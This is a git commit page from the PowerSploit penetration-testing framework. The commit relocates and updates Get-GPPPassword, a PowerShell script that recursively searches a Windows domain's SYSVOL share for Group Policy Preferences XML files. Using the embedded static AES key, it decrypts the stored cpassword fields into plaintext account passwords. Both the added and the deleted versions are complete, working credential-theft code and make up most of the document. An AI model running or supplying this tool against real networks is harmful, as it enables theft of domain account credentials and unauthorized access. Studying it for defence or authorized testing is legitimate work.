aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2013-07-03 05:46:44 -0400
committerMatt Graeber <mattgraeber@gmail.com>2013-07-03 05:46:44 -0400
commit371c65c9a7493f0a8e02a6f888d6b75a42a77566 (patch)
treefe49405a2993a94f295c266793d154b6f5b29205
parent717950d00c7cc352efe8b05c3db84d0e6250474c (diff)
downloadPowerSploit-371c65c9a7493f0a8e02a6f888d6b75a42a77566.tar.gz
PowerSploit-371c65c9a7493f0a8e02a6f888d6b75a42a77566.zip
Updated Get-GPPPassword
-rw-r--r--Exfiltration/Exfiltration.psd12
-rw-r--r--Exfiltration/Get-GPPPassword.ps1126
-rw-r--r--README.md8
-rw-r--r--Recon/Get-GPPPassword.ps1106
-rw-r--r--Recon/Recon.psd14
5 files changed, 133 insertions, 113 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1
index 1d0e69d..ef3daec 100644
--- a/Exfiltration/Exfiltration.psd1
+++ b/Exfiltration/Exfiltration.psd1
@@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
- 'Get-Keystrokes.ps1', 'Usage.md'
+ 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
new file mode 100644
index 0000000..6a9c192
--- /dev/null
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -0,0 +1,126 @@
+function Get-GPPPassword {
+<#
+.SYNOPSIS
+
+ Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
+
+ PowerSploit Function: Get-GPPPassword
+ Author: Chris Campbell (@obscuresec)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
+
+.EXAMPLE
+
+ Get-GPPPassword
+
+.LINK
+
+ http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
+ https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
+ http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
+ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
+#>
+
+ [CmdletBinding()]
+ Param ()
+
+ #define helper function that decodes and decrypts password
+ function Get-DecryptedCpassword {
+ Param (
+ [string] $Cpassword
+ )
+
+ try {
+ #Append appropriate padding based on string length
+ $Mod = ($Cpassword.length % 4)
+ if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
+
+ $Base64Decoded = [Convert]::FromBase64String($Cpassword)
+
+ #Create a new AES .NET Crypto Object
+ $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
+ [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
+ 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
+
+ #Set IV to all nulls to prevent dynamic generation of IV value
+ $AesIV = New-Object Byte[]($AesObject.IV.Length)
+ $AesObject.IV = $AesIV
+ $AesObject.Key = $AesKey
+ $DecryptorObject = $AesObject.CreateDecryptor()
+ [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
+
+ return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
+ }
+
+ catch {Write-Error "$Error[0]"}
+ }
+
+ #discover potential files containing passwords
+ $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
+
+ foreach ($File in $XMLFiles) {
+
+ try {
+ $Filename = $File.Name
+ $Filepath = $File.VersionInfo.FileName
+
+ #put filename in $XmlFile
+ [xml] $Xml = Get-Content ($File)
+
+ #declare blank variables
+ $Cpassword = ''
+ $UserName = ''
+ $NewName = ''
+ $Changed = ''
+
+ switch ($Filename) {
+
+ 'Groups.xml' {
+ $Cpassword = $Xml.Groups.User.Properties.cpassword
+ $UserName = $Xml.Groups.User.Properties.userName
+ $NewName = $Xml.Groups.User.Properties.newName
+ $Changed = $Xml.Groups.User.changed
+ }
+
+ 'Services.xml' {
+ $Cpassword = $Xml.NTServices.NTService.Properties.cpassword
+ $UserName = $Xml.NTServices.NTService.Properties.accountName
+ $Changed = $Xml.NTServices.NTService.changed
+ }
+
+ 'Scheduledtasks.xml' {
+ $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
+ $UserName = $Xml.ScheduledTasks.Task.Properties.runAs
+ $Changed = $Xml.ScheduledTasks.Task.changed
+ }
+
+ 'DataSources.xml' {
+ $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
+ $UserName = $Xml.DataSources.DataSource.Properties.username
+ $Changed = $Xml.DataSources.DataSource.changed
+ }
+ }
+
+ if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
+
+ else {Write-Verbose "No encrypted passwords found in $Filepath"}
+
+ #Create custom object to output results
+ $ObjectProperties = @{'Password' = $Password;
+ 'UserName' = $UserName;
+ 'Changed' = $Changed;
+ 'NewName' = $NewName
+ 'File' = $Filepath}
+
+ $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
+ Write-Output $ResultsObject
+ }
+
+ catch {Write-Error $Error[0]}
+ }
+} \ No newline at end of file
diff --git a/README.md b/README.md
index 17df5bf..c075e87 100644
--- a/README.md
+++ b/README.md
@@ -132,6 +132,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
Logs keys pressed, time and the active window.
+#### `Get-GPPPassword`
+
+Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
+
#### `Get-TimedScreenshot`
A function that takes screenshots at a regular interval and saves them to a folder.
@@ -152,10 +156,6 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
-#### `Get-GPPPassword`
-
-Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
-
## Recon\Dictionaries
**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.**
diff --git a/Recon/Get-GPPPassword.ps1 b/Recon/Get-GPPPassword.ps1
deleted file mode 100644
index b22fb74..0000000
--- a/Recon/Get-GPPPassword.ps1
+++ /dev/null
@@ -1,106 +0,0 @@
-function Get-GPPPassword
-{
-<#
-.SYNOPSIS
-
-Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
-
-PowerSploit Function: Get-GPPPassword
-Author: Chris Campbell (@obscuresec)
-License: BSD 3-Clause
-Required Dependencies: None
-Optional Dependencies: None
-
-.DESCRIPTION
-
-Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
-
-.PARAMETER Path
-
-The path to the targeted groups.xml file.
-
-.EXAMPLE
-
-Get-GPPPassword -path c:\demo\groups.xml
-
-.LINK
-
-http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
-http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
-#>
-
- Param (
- [Parameter(Position = 0, Mandatory = $True)]
- [String]
- $Path = "$PWD\groups.xml"
- )
-
- #Function to pull encrypted password string from groups.xml
- function Parse-cPassword {
-
- try {
- [xml] $Xml = Get-Content ($Path)
- [String] $Cpassword = $Xml.Groups.User.Properties.cpassword
- } catch { Write-Error "No Password Policy Found in File!" }
-
- return $Cpassword
- }
-
- #Function to look to see if the administrator account is given a newname
- function Parse-NewName {
-
- [xml] $Xml = Get-Content ($Path)
- [String] $NewName = $Xml.Groups.User.Properties.newName
-
- return $NewName
- }
-
- #Function to parse out the Username whose password is being specified
- function Parse-UserName {
-
- try {
- [xml] $Xml = Get-Content ($Path)
- [string] $UserName = $Xml.Groups.User.Properties.userName
- } catch { Write-Error "No Username Specified in File!" }
-
- return $UserName
- }
-
- #Function that decodes and decrypts password
- function Decrypt-Password {
-
- try {
- #Append appropriate padding based on string length
- $Pad = "=" * (4 - ($Cpassword.length % 4))
- $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
- #Create a new AES .NET Crypto Object
- $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
- #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
- [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
- 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
- #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
- $AesIV = New-Object Byte[]($AesObject.IV.Length)
- $AesObject.IV = $AesIV
- $AesObject.Key = $AesKey
- $DecryptorObject = $AesObject.CreateDecryptor()
- [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
-
- return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
- } catch { Write-Error "Decryption Failed!" }
-
- }
-
- $Cpassword = Parse-cPassword
- $Password = Decrypt-Password
- $NewName = Parse-NewName
- $UserName = Parse-UserName
-
- $Results = New-Object System.Object
-
- Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
- Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
- Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
-
- return $Results
-
-}
diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1
index 59c6377..afcb7fb 100644
--- a/Recon/Recon.psd1
+++ b/Recon/Recon.psd1
@@ -73,8 +73,8 @@ AliasesToExport = ''
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
# List of all files packaged with this module
-FileList = 'Recon.psm1', 'Recon.psd1', 'Get-GPPPassword.ps1', 'Get-HttpStatus.ps1',
- 'Invoke-ReverseDnsLookup.ps1', 'Usage.md'
+FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
+ 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''